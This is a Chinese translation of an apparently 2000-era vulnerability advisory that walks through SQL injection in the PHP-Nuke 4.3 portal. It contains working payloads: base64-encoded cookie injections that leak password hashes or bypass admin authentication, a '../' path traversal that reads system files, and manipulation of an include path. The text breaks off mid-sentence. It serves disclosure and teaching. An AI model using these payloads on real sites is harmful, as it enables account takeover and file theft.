登录社区:用户名: 密码: 忘记密码 网页功能:加入收藏 设为首页 网站搜索  

文档

下载

图书

论坛

安全

源码

硬件

游戏
首页 信息 空间 VB VC Delphi Java Flash 补丁 控件 安全 黑客 电子书 笔记本 手机 MP3 杀毒 QQ群 产品库 分类信息 编程网站
  立华软件园 - 安全技术中心 - 技术文档 - 漏洞分析 技术文章 | 相关下载 | 电子图书 | 攻防录像 | 安全网站 | 在线论坛 | QQ群组 | 搜索   
 安全技术技术文档
  · 安全配制
  · 工具介绍
  · 黑客教学
  · 防火墙
  · 漏洞分析
  · 破解专题
  · 黑客编程
  · 入侵检测
 安全技术工具下载
  · 扫描工具
  · 攻击程序
  · 后门木马
  · 拒绝服务
  · 口令破解
  · 代理程序
  · 防火墙
  · 加密解密
  · 入侵检测
  · 攻防演示
 安全技术论坛
  · 安全配制
  · 工具介绍
  · 防火墙
  · 黑客入侵
  · 漏洞检测
  · 破解方法
 其他安全技术资源
  · 攻防演示动画
  · 电子图书
  · QQ群组讨论区
  · 其他网站资源
最新招聘信息

PHP-Nuke web中心系统中的用户登录SQL hacking
发表日期:2003-08-18作者:[] 出处:  

之所以翻译这个文章,是因为它非常细致完整地描述了发现安全漏洞的过程,包括成功的和不成功的尝试,提供了一些有用的技术和思路。PHP-Nuke本身的这些已被发现的漏洞会很快被修补,但发现问题的思路不会有大的改变,所以关键在于学习他的思路。文中可能有一些理解或翻译上的错误,原文可以在找到:

http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=2

-----/ RFP2101 /-------------------------------/ rfp.labs / wiretrip/----

          RFPlutonium to fuel your PHP-Nuke

       SQL hacking user logins in PHP-Nuke web portal

------------------------------------/ rain forest puppy / rfp@wiretrip.net

目录:

-/ 1 / 标准的建议信息

-/ 2 / 总览

-/ 3 / 细解

-/ 4 / 其他手段

-/ 5 / 解决方案

--------------------------------------------------------------------------

声明:没人强迫你读这个,不想看的话你可以不看

--------------------------------------------------------------------------

-/ 1 / 标准的建议信息 /------------------------------------

软件包:     PHP-Nuke

厂商主页:    www.phpnuke.org

测试过的版本:  4.3

平台:     独立于平台(PHP)

联系厂商时间:  12/29/2000

CVE 候选号:   CAN-2001-0001

脆弱性类型:   访问验证弱点(普通用户和管理员)

RFPolicy v2:  http://www.wiretrip.net/rfp/policy.html

以前存在问题:  绕过管理员认证, Aug 2000

BID: 1592   CVE:CVE-2000-0745 SAC: 00.35.032

当前版本:4.4  (可能还是有问题,未测试)

-/ 2 / 总览 /------------------------------------------

  PHP-Nuke 是一个用PHP实现的网站和新闻中心系统。我对它的外表和提供的功能印象深刻,决定在以后的两个项目中用到它。就象我决定使用的其他代码一样,我会对那些代码做一个快速的审核(开放源码万岁)。我对代码整体上是满意的,它的确消除了一些有关SQL的安全问题。

  我觉得把这个脆弱性的如何工作的整个过程揭示出来,从教育的眼光来看,比只写什么“PHP-Nuke是可脆弱的”有意义的多。如果你想了解更多关于SQL hacking,应该看看RFP2K01,在:

  http://www.wiretrip.net/rfp/p/doc.asp?id=42

  这并不是个非常有用的入侵,它只是允许你冒充其他用户得到他们加密后的口令。它也给攻击者暴力破解用户或管理员的口令提供了可能性。

-/ 3 / 细解 /--------------------------------------

  首先,为了更好地辅助SQL hacking,打开SQL查询的记录选项是有帮助的。对MySQL来说只要在(safe_mysqld)启动的时候加上'-l logfile'参数就行了。

  其次,让我们看一下代码。因为是用PHP写的而且用MySQL,我们的目标函数当然是mysql_query()了。让我们把所有的mysql_query()都grep出来:

[rfp@cide nuke]# ls

admin/    config.php  index.php     print.php   topics.php

admin.php   counter.php language     scroller.js  ultramode.txt

article.php  dhtmllib.js links.php     search.php  upgrades

auth.inc.php faq.php   mainfile.php   sections.php user.php

backend.php  footer.php  manual/      stats.php   voteinclude.php

banners.php  friend.php  memberslist.php  submit.php

cache/    header.php  pollBooth.php   themes/

comments.php images/   pollcomments.php top.php

[rfp@cide nuke]# grep mysql_query *

admin.php:   $result = mysql_query("SELECT qid FROM queue");

.... 超过254条SQL queries就不贴在这了 ....

让我们来看看那些带有变量的语句,因为里面可能带有用户的输入。例如一些select语句:

article.php:  mysql_query("update users set umode='$mode',

    uorder='$order', thold='$thold' where uid='$cookie[0]'");

banners.php:  mysql_query("delete from banner where bid=$bid");

comments.php:  $something = mysql_query("$q");

user.php:    $result = mysql_query("select email, pass from users where

    (uname='$uname')");

index.php:   mysql_query("insert into referer values (NULL, '$referer')");

  来自 article.php 的查询带有四个变量: $mode, $order, $thold,和 $cookie[0]。 comments.php 很有趣,看起来整个查询放在$q变量中,这意味着我们必须到文件中去看那个变量的值是什么,在文件中,我们可以看到:

    $q = "select tid, pid, sid, date, name, email, url, host_name,

  subject, comment, score, reason from comments where sid=$sid

  and pid=$pid";

    if($thold != "") {

        $q .= " and score>=$thold";

    } else {

        $q .= " and score>=0";

    }

    if ($order==1) $q .= " order by date desc";

    if ($order==2) $q .= " order by score desc";

  所以我们可以看到$q里用到了变量$sid和$pid,可能还有$thold,如果它被定义了的话。

  现在我们该怎么办?让我们来看看那些变量里到底有些什么。我们从article.php中的那个查询开始。去掉注释后,实际的代码是这样的:

  <?PHP

  if(!isset($mainfile)) { include("mainfile.php"); }

  if(!isset($sid) && !isset($tid)) { exit(); }

  if($save) {

      cookiedecode($user);

      mysql_query("update users set umode='$mode', uorder='$order',

    thold='$thold' where uid='$cookie[0]'");

      getusrinfo($user);

      $info = base64_encode("$userinfo[uid]:$userinfo[uname]:".

    "$userinfo[pass]:$userinfo[storynum]:$userinfo[umode]:".

    "$userinfo[uorder]:$userinfo[thold]:$userinfo[noscore]");

      setcookie("user","$info",time()+$cookieusrtime);

  }

(注意:为了在这个安全公告中显示,代码格式做了些调整)

  我们看到对变量$mode, $order, $thold, 和$cookie[0]并没有明显的处理。然而,mainfile.php被包含进来而且在函数cookiedecode()中可能会有些处理,所以我们也应该看看它们。

我们先得看看mainfile.php里是不是已经定义了变量 $mode, $order,$thold, or $cookie:

  [rfp@cide nuke]# grep \$mode mainfile.php

  [rfp@cide nuke]# grep \$order mainfile.php

  [rfp@cide nuke]# grep \$thold mainfile.php

  [rfp@cide nuke]#

  嗯, 可以看出mainfile.php 没有对那些变量做任何处理。然而有一个多余的变量$cookie被返回了(在这看不到)。这是因为在mainfile.php中有函数cookiedecode() (和其他相似的函数)。cookiedecode() 的代码是这样的:

  function cookiedecode($user) {

      global $cookie;

      $user = base64_decode($user);

      $cookie = explode(":", $user);

      return $cookie;

  }

cookiedecode()调用取到变量$user的值,用base64方式解码,以’:’为定界符分成几个部分,放入$cookie[]数组。这是有意义的,因为上面的SQL查询用到了$cookie[0],数组的第一个元素。

  怪?那个$user 变量是从哪来的呢? grep 一下mainfile.php 可以知道$user 变量只在这个函数中被用到。

  好啊。这意味着作者对变量$user(他被解码并拆分成$cookie[0]数组), $mode, $order, $thold什么都没干。对那些不熟悉PHP的人说一声,PHP会为从URL得到的参数各自己分配一个全局变量。例如,下面的查询:

  /somefile.php?varb1=rain&value2=forest¶m3=puppy

  会在脚本中定义出三个全局变量$varb1, $value2, 和$param3,它们的值分别为'rain', 'forest', and 'puppy'。这意味着如果我们以如下的URL向article.php提交,我们可以为变量$mode, $order,和$thold赋上任意的值:

  /article.php?mode=rain&order=forest&thold=puppy

在我们做这些之前,别忘了以下的程序片断:

  if($save) {

    ...

这意味着变量$save必须被设置。grep一下mainfile.php看不到变量$save,所以我们应该在URL中设置它的值:

  /article.php?mode=rain&order=forest&thold=puppy&save=1

让我们试试吧。对这个页面发出请求,没有东西返回,因为我忘掉了下面的这行:

  if(!isset($sid) && !isset($tid)) { exit(); }

我们需要把$sid 和$tid变量加到URL行,现在是这样了:

  /article.php?mode=rain&order=forest&thold=puppy&save=1&sid=0&tid=0

这次返回了一个错误页面。看看我们的mysql日志记录,有一个条目:

  1 Query   update users set umode='rain', uorder='forest',

      thold='puppy' where uid=''

  这证明确实起作用了。现在我们把数据提交给SQL查询,看看我们是不是能“干预”那个查询。我们试图重写那个查询以加入其他的SQL代码。这样做需要一些欺骗的技巧:加入一些额外的单引号。我们所做的是把$thold改成这样的:

    puppy', thold='puppy

这样的结果是查询语句会变成这样:

  update users set umode='rain', uorder='forest',

    thold='puppy', thold='puppy' where uid=''

            ^^^^^^^^^^^^^^^^^^^^

            我们提交的数据

  当然,这不是个有用的SQL语句,但我们只是想证明一下我们的利用方法。让我们来把这些放到URL里提交上去:

  /article.php?mode=rain&order=forest&thold=puppy',%20thold='puppy&    save=1&sid=0&tid=0

(注意:URL 是不换行的)

mysql日志中的记录:

  5 Query   update users set umode='rain', uorder='forest',

    thold='puppy\', thold=\'puppy' where uid=''

  糟糕!看起来当PHP处理从URL提交的参数的时候,自动地逸出了’(它变成了\’)。当然,我用的是 PHP 4,可能PHP 3.x并不是这样。从漏洞利用的角度看,这太讨厌了。从安全的角度看,这样很好。我可能忽略了一些东西,有谁认为我错了,给我来个email。

  无论如何,我们没失去什么。从这个角度看,我们知道有时候把全局变量扔进SQL语句可能是安全的(这可能依赖PHP的版本)。让我们回过头来看看cookiedecode()这个函数,它得到全局变量$user的值,用base64方式解码,拆分它到一个$cookie[]数组。需要注意的是$user变量可能是一个HTTPcookie,或者它可以是一个URL参数—PHP并不区分它们(至少在这片代码里不是)。

  因为实际的值是用base64编码的,PHP不对编码过后的值做任何逸出操作。意味着无论我们在$user变量放入什么都是安全的,看看:

  首先,我们需要得到正确的值。因为cookiedecode()会把值以':'字符进行拆分并使用第一个值,我们至少需要'something:'作为我们的值。那个'something'是我们的文本。现在来说,我们把它设成'www.cipherwar.com:'。现在,我们需要用base64方式编码它。用下面的命令行:

  [rfp@cide nuke]# echo -n "www.cipherwar.com:" | uuencode -m f

  begin-base64 644 f

  d3d3LmNpcGhlcndhci5jb206

  ====

意味着我们得到下面的东西加到URL:

  &user=d3d3LmNpcGhlcndhci5jb206

当我提交以上带上了额外user参数的URL时,我的mysql日志显示:

  7 Query   update users set umode='rain', uorder='forest',

      thold='puppy' where uid='www.cipherwar.com'

行了!现在我们看看能不能逃过SQL语句?

  [root@cide nuke]# echo -n "www.cipherwar.com' or uid='1" |

    uuencode -m f

  begin-base64 644 f

  d3d3LmNpcGhlcndhci5jb20nIG9yIHVpZD0nMQ==

  ====

把这些加入URL并且提交,我的mysql日志显示:

  3 Query   update users set umode='rain', uorder='forest',

      thold='puppy' where uid='www.cipherwar.com'

      or uid='1'

  可以了!就象我们看到的那样,我们的值没有被处理过,允许我们干预查询的进行。然而,因为一些mysql本身的限制,我们的利用受到了一些轻微的限制。你们可能熟悉SQL hacking和我以前公布的一些技巧,MySQL不允许多个SQL命令被提交进同一个查询语句中。这意味着象以下这样的东西:

  mysql_query("select * from table1; select * from table2");

  这将不会执行两个'selects'—它只执行第一个,丢弃第二个。然而(不要绝望),我看到了MySQL TODO列表里有以下的条目:

  修改 `libmysql.c' 以允许一行中有两个mysql_query() 命令而不是只报出一个错误。

在TODO 列表中也有:

  子查询。select id from t where grp in (select grp from g where u > 100)

  这两个改进将会大大提高MySQL在SQL hacking方面的可行性。 现在这个时候,它还不能帮助我们(除非站点重写了PHP-Nuke来使用一个不同的数据库,比如Postgres。但这不太可能)。这意味着我们只能干预已有的查询(比如我们不能增加一个单独的查询)。因为PHP会对URL的参数做逸出处理,我们也会有限制,除非查询中含有一个通过特殊形式提交的变量(比如通过cookiedecode())。嗯,我们有很多限制。

让我们来看看我们所运行的查询:

        mysql_query("update users set umode='$mode', uorder='$order',

        thold='$thold' where uid='$cookie[0]'");

  通过指定一个任意的uid值,我们能搞到任何用户的umode,uorder和thold值。虽然有些另人恼火,但这实在称不上一个严重的问题,因为umode,uorder和thold只是一个用户的显示属性设置。我们来看看整个代码片断:

    if($save) {

        cookiedecode($user);

        mysql_query("update users set umode='$mode', uorder='$order',

        thold='$thold' where uid='$cookie[0]'");

        getusrinfo($user);

        $info = base64_encode("$userinfo[uid]:$userinfo[uname]:".

        "$userinfo[pass]:$userinfo[storynum]:$userinfo[umode]:".

        "$userinfo[uorder]:$userinfo[thold]:$userinfo[noscore]");

        setcookie("user","$info",time()+$cookieusrtime); 

    }

  在调用cookiedecode()并且完成第一个查询之后,就会有getusrinfo()调用,在这之后一串用户信息用base64方式以cookie的方式发送给我们。注意!包含有$userinfo[pass]的。这意味着,如果我们足够小心的话,我们可能可以得到一个包含有用户口令的cookie,我们所要做的只要通过getusrinfo():

  function getusrinfo($user) {

      global $userinfo;

      $user2 = base64_decode($user);

      $user3 = explode(":", $user2);

      $result = mysql_query("select uid, name, uname, email,

      femail, url, pass, storynum, umode, uorder,

      thold, noscore, bio, ublockon, ublock, theme,

      commentmax from users where uname='$user3[1]'

      and pass='$user3[2]'");

      if(mysql_num_rows($result)==1) {

          $userinfo = mysql_fetch_array($result);

      } else {

          echo "<b>A problem occured</b><br>";

      }

      return $userinfo;

  }

  让我们来看看。再一次,它取到$user的值,用base64方式解码(就与cookiedecode()一样),然后用cookie的第二,三部分($user3[1] 和 $user3[2])去执行一个查询。然而,要让他正常地工作,我们需要知道目标用户正确的用户名和口令,不然SQL查询会返回0行,会显示“有错误发生”。如果我们知道了一个用户的用户名和口令,我们也没必要研究现在这些东西了,不是吗?

  我们是不是能干预查询呢?我们查询的是所有符合条件"uname='name' and pass='password'"的用户记录。如果我们放宽搜索的标准的话,我们应该可以得到更多。想像这样一个查询:

  ... where uname='name' and pass='password' or uname='name'

从逻辑上看,这个查询应该是这样分组的:

  ... where (uname='name' and pass='password') or (uname='name')

  现在,如果我们知道一个用户的用户名(我们应该可以的),但不知道他的口令,第一个子句就会失败;然而,第二个子句肯定满足条件。

让我们来测试下这个假设。现在我们必须构造出$user变量,里面有类似下面这样的字串:

  uid:username:blah' or uname='username

在我的机器上我想针对用户'test1'。因此我试试下面这样的串:

  1:test1:blah' or uname='test1

对它编一下码:

  [root@cide nuke]# echo -n "1:test1:blah' or uname='test1" |

    uuencode -m f

  begin-base64 644 f

  MTp0ZXN0MTpibGFoJyBvciB1bmFtZT0ndGVzdDE=

  ====

把它加到我们上面的查询中去,试一试。你瞧,我发送了这样一个cookie:

  Set-Cookie: user=MTp0ZXN0MTpsZmtTdjlOUTFla2xnOjEwOnJhaW46MDowOjA%3D;

  expires=Friday, 29-Dec-00 20:14:00 GMT

  user的值是base64方式编码的。我们有自己的base64解码方法,但为了与我们刚才所写的东西(例如使用命令行)兼容,最好的方法是创建一个文件(就叫它’encode’吧),文件中是以下的内容:

  begin-base64 666 user

  MTp0ZXN0MTpsZmtTdjlOUTFla2xnOjEwOnJhaW46MDowOjA=

  ===

注意:用'='代替所有的%3D,不要包括最后的';'

现在,运行下面的命令:

  [root@cide nuke]# uudecode encode; cat user

  uudecode: encode: illegal line

  1:test1:lfkSv9NQ1eklg:10:rain:0:0:0

  就这些,包括了目标用户的uid,username,password。在你认为我使用了很强壮的口令之前,你应该知道PHP-Nuke用的是加密后的口令。这意味着你必须用暴力猜解来得到真正的口令。

  但这些东西重要吗?我们再来看看user.php。user.php是用来管理用户信息的脚本,包括登录,注册新用户,用户信息修改等。那用户信息是如何改变的?让我们来看看:

  function edituser() {

      global $user, $userinfo;

      include("header.php");

      getusrinfo($user);

      nav();

    ?>

    <table cellpadding=8 border=0><tr><td>

    <form action="user.php" method="post">

    <b><?php echo translate("Real Name"); ?></b> <?php echo

  translate("(optional)"); ?><br>

    <input class=textbox type="text" name="name" value="<?PHP

  echo"$userinfo [name]"; ?>" size=30 maxlength=60><br>

  ...

  它包含了header.php文件(用来插入用户指定的HTML头标记)。它再调用getusrinfo()。好了,让我们看看如何利用getusrinfo()来把$userinfo变量设成任何值。edituser() 调用完getuserinfo()之后,调用nav(),接着打印出所有的用户信息。所以,看起来只要我们有有效的用户cookie,我们就可以成功地变为那个用户—我们不甚至需要去crack口令。

  但是,edituser()是在我们想要看信息的时候调用的。如果我们想修改一个用户的信息,我们必须通过saveuser()函数,它是这样的:

  function saveuser($uid, $name, $uname, $email, $femail, $url, $pass,

    $vpass, $bio) {

      global $user, $cookie, $userinfo, $EditedMessage,

      $system, $minpass;

      cookiedecode($user);

      // Vulnerability fix thanks to DrBrain

      $user_check=$cookie[1];

      $result=mysql_query("select uid from users where

      uname='$user_check'");

      $vuid=mysql_result($result,0,"uid");

      if ($user AND ($cookie[1] == $uname) AND ($uid == $vuid)) {

      ...

当然,有趣的是这里已经’修正’了一个安全漏洞。让我们来看看这些代码是干什么的:

  cookiedecode()把$user变量的值解码到$cookie数组中。我们提交了那些$uid, $user, $uname变量。所以伪代码是下面这个样子的:

  -把$user变量解码到$cookie数组

  -查找在$cookie数组中用户名对应的uid(从我们提供的$user变量中得到)

  - 如果$cookie(我们提供的)中的用户名与$uname(我们提供的)相符并且$uid与$cookie (我们提供的)数组存放的uid一致。

  看起来问题的关键在于要使我们提供的cookie与我们作为参数给出的username相符,并且我们必须知道对应于用户名的userid(uid)。如果我们回到前面的edituser()函数,你会发现username对应的uid在查询后以一个隐含字段被返回的(我没有在这把那些代码包括进来)。所以我们能通过edituser()的查询来得到uid,然后用适当的cookie,uname,uid值来调用saveuser()。

  这有什么好处呢?当然,我们能接管这个用户账号。但更有意思的事应该是得到管理员的访问权限,对PHP-Nuke来说,就是相当于'authors'。

  那我们如何知道有关author账号的的信息呢?看下nuke.sql文件就行了,它是用来初始化PHP-Nuke数据库的脚本,我们可以看到author和用户信息是存放在各自不同的表中—这意味着我们必须找到一个特定的查找author表的查询。让我们来看看:

  [root@cide nuke]# grep mysql_query *|grep author

  admin.php:   $result = mysql_query("select radminarticle,

  radmintopic,radminleft,radminright,radminuser,radminmain,

  radminsurvey,radminsection,radminlink,radminephem,radminfilem,

  radminhead,radminsuper from authors where aid='$aid'");

  auth.inc.php:  $result=mysql_query("select pwd from authors where

  aid='$aid'");

  auth.inc.php: $result=mysql_query("select pwd from authors where

  aid='$aid'");

  mainfile.php:  $holder = mysql_query("SELECT url, email FROM authors

  where aid='$aid'");

  mainfile.php:  mysql_query("insert into stories values (NULL,

  '$aid', '$title', now(), '$hometext', '$bodytext', '0', '0', '$topic',

  '$author', '$notes')");

  search.php: $thing = mysql_query("select aid from authors order by

  aid");

  stats.php:$result = mysql_query("select * from authors");

  top.php:$result = mysql_query("select aid, counter from authors order

  by counter DESC limit 0,$top");

  嗯,只有8个命中。在mainfile.php中的第二个查询并不是一个对author表的查询,stats.php的查询中没有有包含任何变量,所以它们可以被忽略掉。Top.php的查询受限严重—如果MySQL允许添加额外的查询的话(就象前面讨论的那样),利用它是可能的,但按现在的情况是不行的,所以我们也没必要把时间浪费在那了。Mainfile.php里的查询并不从author表中获取任何令人感兴趣的信息,所以我们也没必要搞它了。所以我们只剩下admin.php 和 auth.inc.php。

Admin.php是管理员登录和行使管理功能的页面。Admin.php干的第一件事就是调用auth.inc.php,意味着需要欺骗auth.inc.php来做一些我们想做的事。有两个地方用到了auth.inc.php,初始登录和标准口令检查:

初始登录:

  if ((isset($aid)) && (isset($pwd)) && ($op == "login")) {

   if($aid!="" AND $pwd!="") {

      $result=mysql_query("select pwd from authors where aid='$aid'");

      list($pass)=mysql_fetch_row($result);

      if($pass == $pwd) {

       $admin = base64_encode("$aid:$pwd");

       setcookie("admin","$admin",time()+2592000);

      }

     }

  }

标准口令检查:

  if(isset($admin)) {

    $admin = base64_decode($admin);

    $admin = explode(":", $admin);

    $aid = "$admin[0]";

    $pwd = "$admin[1]";

    if ($aid=="" || $pwd=="") {

      $admintest=0;

      echo .... bunch of HTML ....;

      exit;

    }

    $result=mysql_query("select pwd from authors where aid='$aid'");

    if(!$result) {

     echo "Selection from database failed!";

      exit;

    } else {

      list($pass)=mysql_fetch_row($result);

      if($pass == $pwd && $pass != "") {

       $admintest = 1;

      }

    }

  }

  在aritcle.php初始登录中,如果我们能使它相信我们就是那个用户的话,它会返回给我们一个含有用户名和口令的cookie。然而,为了获得author状态,我们需要欺骗标准口令检查程序段把$admintest变量值设成1。

  看看初始登录,我们需要对付出$aid参数,但是,就象我们先前讨论的那样,PHP不允许我们采用加入”’”的方法,所以这是不可行的。

  其他程序片段是从$admin cookie中得到变量值的,我们可以干预它(前面已经看到了)。所以我们实际是要对付下面的查询:

  $result=mysql_query("select pwd from authors where aid='$aid'");

我们必须满足下面的要求:

  if($pass == $pwd && $pass != "") {

  嗯,这有点麻烦。我们必须操纵那个查询使之返回一个已知的值,而这个值不能为空。对那个查询来说,它只返回’pwd’列。呵,如果我们知道那些东西的话,我们也没必要来搞它了。所以我只能坐下来想该怎么办。突然我想到了,我们需要知道查询所返回的值。那个值必须是一个已存在用户的口令。所以,想像一下这样一个查询:

  select pwd from authors where aid='arbitrary' or pwd='password'

  这会执行一个查询选择出那些aid的值为'arbitrary',或者口令的值为'password'的记录。呵,这有什么好处呢?

  这样做的好处是它将匹配只要以'password'作为口令的任何用户。我们可以通过给$aid变量提供这样一个值来操纵查询:

  ' or pwd='common_password

  所以如果只要有一个$pwd的值等于common_password,$pwd的值就会被设成common_password。如果我们把pass设成common_password的话,那么$pass==$pwd,我们就会被确认为author。实际上我们是以我们所提供的口令被确认为author的。PHP-Nuke的确允许为每个用户设置不不同的权限,我们可能没有权力干任何事,但是,我们得到了author这个状态。这是我们这个练习所要达到的目的。

  在你感到失望之前,你应该看看那些对author可用的选取项。惊奇的是竟然无需权限就可以干诸如运行’env’(基本上给了你php_info()),’show’(以web服务器的id看任意的文件),’chdr’(可以允许你对目录进行列表),’edit’(以web服务器的id写内容到文件中),等。

  对于SQL hacking,对PHP-Nuke就这些了。希望你喜欢这个比较长的例子!

-/ 4 / New Year BONUS: 其他手段 /------------------------------------

  对于从教育目的来说,在审查PHP代码的过程中,我认为有必要指出PHP-Nuke包含了一些其他很有趣的东西。

  当我坐下来审查一些代码的时候,第一件我要做的事就是查看那些与系统交互的调用—特别是那些文件系统交互和命令的执行。在PHP中,那些目标调用包括:

  exec()    - run external commands

  passthru()  - run external commands

  system()  - run external commands

  fopen()    - open a file (or URL)

  readfile()  - output a file (or URL)

  include()  - include a file (or URL)

  include_once()  - (same as include)

  前面三个是用来执行程序的。其他四个是用来读取文件的。因为require()/require_once()是在执行的时候被展开的,意味着我们没有机会在它们执行的时候干预它,所以对它们将不做审查。

  那我是怎么评价那些调用的使用情况的呢?最简单的办法是grep:

  [root@cide nuke]# grep exec *

  stats.php:$time = (exec("date"));

  stats.php:$uptime_info = "Uptime:" . trim(exec("uptime")) . "\n\n";

  stats.php:exec ("df", $x);

  嗯,有三个命中的。然而,它们中没有一个包含变量的(’df’中用到的$x变量是输出的时候用的),所以我们不能干预它们。继续,passthru()没有命中的。System()显示了一些命中,但它们大多只是文本和变量名—并没有实际的system()调用。

  让我们继续看那些文件调用。PHP独特的地方是你可以提供一个URL对文件调用,PHP会远程抓到它并使用它。所以这为我们使用远程系统的代码带来额外的好处—一个很有趣的特点!

让我们来看看

  [root@cide nuke]# grep fopen *

  admin.php:   $fp=fopen($basedir.$file,"w");

  admin.php:   $fp=fopen($basedir.$file,"r");

  admin.php:   $fp=fopen($basedir.$filelocation,"w");

  mainfile.php:  $file = fopen("$ultra", "w");

  mainfile.php:  $fpread = fopen($headlinesurl, 'r');

  mainfile.php:    $fpwrite = fopen($cache_file, 'w');

  嗯,admin.php很有希望,只是得看看$basedir和$file/$filelocation在哪有定义。Mainfile.php和$headlines/$cache_file也是一样。看看admin.php,$basedir是这样定义的:

  $basedir = dirname($SCRIPT_FILENAME);

  这基本上是脚本所在的目录。再看看,你可以知道$file在哪都没定义,这意味着我们能在URL里指定它!看看admin.php中’show’和’edit’的操作,我们的预感是正确的—‘show’会打开由$basedir.$file指定的文件,edit也一样。我们无法控制$basedir,但我们可以控制$file变量。所以我们可以使用’..’。这意味着在admin.php中以'../../../../etc/hosts'为参数进行’edit’操作,允许我们看到系统中的hosts文件。其他的fopen调用也能以相同的办法被滥用。

让我们继续mainfile.php. 看看 $headlinesurl:

  $result = mysql_query("select sitename, url, headlinesurl from

    headlines where status=1");

  while (list($sitename, $url, $headlinesurl) =

    mysql_fetch_row($result)) {

  这是一个对headlines表的静态查询。除非我们能在headlines数据库中插入值,我们做不了什么。$cache_file是这样定义的:

  $cache_file = "cache/$sitename.cache";

using the $sitename from the same query as $headlinesurl.

  继续看include_once()和readfile(),没有命中的。但是include()被用到了很多次,事实上有355次。它用来把其他文件包含进来,特别是那些某个页面风格的头文件和注脚文件等等。我们只想关注那些有变量的include()语句:

  footer.php:  include("themes/$cookie[9]/footer.php");

  footer.php:  include("themes/$Default_Theme/footer.php");

  header.php:  include("themes/$cookie[9]/theme.php");

  header.php:  include("themes/$cookie[9]/header.php");

  header.php:  include("themes/$Default_Theme/theme.php");

  header.php:  include("themes/$Default_Theme/header.php");

  mainfile.php: include("language/lang-$language.php");

  mainfile.php: include($cache_file);

  header.php 和footer.php用include()把用户偏好的主题文件包括进来(如果没有指定的话使用$Default_Theme)。$language 和 $cache_file也是在mainfile.php中定义的,所以mainfile.php行不通。让我们看下header.php。相关的代码:

  if (!isset($index)) {

      include("config.php");

      global $artpage, $topic;

    } else {

      global $site_font, $sitename, $artpage, $topic, $banners,

    $Default_Theme, $uimages;

    }

  ....

    if(isset($user)) {

        $user2 = base64_decode($user);

        $cookie = explode(":", $user2);

        if($cookie[9]=="") $cookie[9]=$Default_Theme;

        if(isset($theme)) $cookie[9]=$theme;

        include("themes/$cookie[9]/theme.php");

        include("themes/$cookie[9]/header.php");

    } else {

        include("themes/$Default_Theme/theme.php");

        include("themes/$Default_Theme/header.php");

    }

  我们看到如果$user变量被设置或者$Default_Theme没被设置的话,include会用到$cookie[9]。$Default_Theme在config.php中有定义,如果$index变量没有定义的话,它会被包含进来。

  你搞清楚了吗?可能你应该再读一次。$Default_Theme在config.php中有定义,如果$index变量没有定义的话,它会被包含进来。呵,所以如果我们设置了$index变量(在URL中加进index=1),config.php就不会被包含进来,这样我们就可以在URL里指定任意的$Default_Theme了,让我们来试试:

我来提交这样的URL:

  /header.php?index=1&Default_Theme=rain.forest.puppy

出现了这样的错误:

  Warning: Failed opening 'themes/rain.forest.puppy/theme.php' for

  inclusion (include_path='') in /home/httpd/html/nuke/header.php on

  line 97

  Warning: Failed opening 'themes/rain.forest.puppy/header.php' for

  inclusion (include_path='') in /home/httpd/html/nuke/header.php on

  line 98

  呵,行得通。这样,我们是否能够通过提交特定的Default_Theme值来包含进任意的文件呢?不幸的是后面会加上'themes/',所以我们不能用到PHP远程URL文件抓取特点。

  我们能用'..'到父目录。然而,问题是无论我们提交什么,后面都会被加上'/theme.php'。我们看不到'../../../../etc/hosts',因为最后的include()是以这样的参数被调用的:

发送给朋友】 【加入收藏】 【返加顶部】 【打印本页】 【关闭窗口

中搜索 PHP-Nuke web中心系统中的用户登录SQL hacking

 ■ [欢迎对本文发表评论]
用  户:  匿名发出:
您要为您所发的言论的后果负责,故请各位遵纪守法并注意语言文明。

最新招聘信息

关于我们 / 合作推广 / 给我留言 / 版权举报 / 意见建议 / 广告投放 / 友情链接  
Copyright ©2001-2006 Lihuasoft.net webmaster(at)lihuasoft.net
网站编程QQ群   京ICP备05001064号 页面生成时间:0.00228